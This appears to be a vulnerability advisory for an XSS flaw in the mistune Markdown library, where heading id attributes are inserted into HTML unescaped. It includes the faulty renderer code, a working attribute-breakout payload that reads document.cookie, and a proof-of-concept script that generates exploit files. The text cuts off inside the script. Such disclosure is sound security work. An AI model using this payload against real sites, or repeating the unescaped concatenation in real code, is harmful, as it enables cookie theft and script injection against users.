Threats tagged 'brew-adr-viewer-cve-2026-44897'

## Summary `HTMLRenderer.heading()` builds the opening `<hN>` tag by string-concatenating the `id` attribute value directly into the HTML — with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element. The default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, …) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like `#installation` or `#getting-started` — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute. ## Details **File:** `src/mistune/renderers/html.py` ```python def heading(self, text: str, level: int, **attrs: Any) -> str: tag = "h" + str(level) html = "<" + tag _id = attrs.get("id") if _id: html += ' id="' + _id + '"' # ← _id is never escaped return html + ">" + text + "</" + tag + ">\n" ``` The `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `&quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned — no escaping occurs at any point in the pipeline. ## PoC **Step 1 — Establish the baseline (safe default IDs)** The script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs: ```python md_safe = create_markdown(escape=True) add_toc_hook(md_safe) # default: heading_id produces toc_1, toc_2, … bl_src = "## Introduction\n" bl_out, _ = md_safe.parse(bl_src) ``` Output — ID is auto-generated, no user text appears in it: ```html <h2 id="toc_1">Introduction</h2> ``` **Step 2 — Add the realistic trigger: a text-based `heading_id` callback** Deriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation: ```python def raw_id(token, index): return token.get("text", "") # returns raw heading text as the ID md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id) ``` **Step 3 — Craft the exploit payload** Construct a heading whose text contains a double-quote followed by an injected attribute: ``` ## foo" onmouseover="alert(document.cookie)" x=" ``` When `raw_id` is called, `token["text"]` is `foo" onmouseover="alert(document.cookie)" x="`. This is passed verbatim to `heading()` as the `id` attribute value. **Step 4 — Observe attribute breakout in the output** ```python ex_src = '## foo" onmouseover="alert(document.cookie)" x="\n' ex_out, _ = md_vuln.parse(ex_src) ``` Actual output: ```html <h2 id="foo" onmouseover="alert(document.cookie)" x="">foo&quot; onmouseover=&quot;alert(document.cookie)&quot; x=&quot;</h2> ``` Note: the heading **body text** is correctly escaped (`&quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted. ### Script A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser. ```python #!/usr/bin/env python3 """H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping.""" import os, html as h from mistune import create_markdown from mistune.toc import add_toc_hook def raw_id(token, index): return token.get("text", "") # --- baseline --- md_safe = create_markdown(escape=True) add_toc_hook(md_safe) bl_file = "baseline_h2.md" bl_src = "## Introduction\n" with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) bl_out, _ = md_safe.parse(bl_src) print(f"[{bl_file}]\n{bl_src}") print("[output — id=toc_1, no user content, safe]") print(bl_out) # --- exploit --- md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id) ex_file = "exploit_h2.md" ex_src = '## foo" onmouseover="alert(document.cookie)" x="\n' with open(os.path.join(os.getcwd(), ex_file), "w") as f: f.write(ex_src) ex_out, _ = md_vuln.parse(ex_src) print(f"[{ex_file}]\n{ex_src}") print("[output — heading_id returns raw text, id= not escaped]") print(ex_out) # --- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size: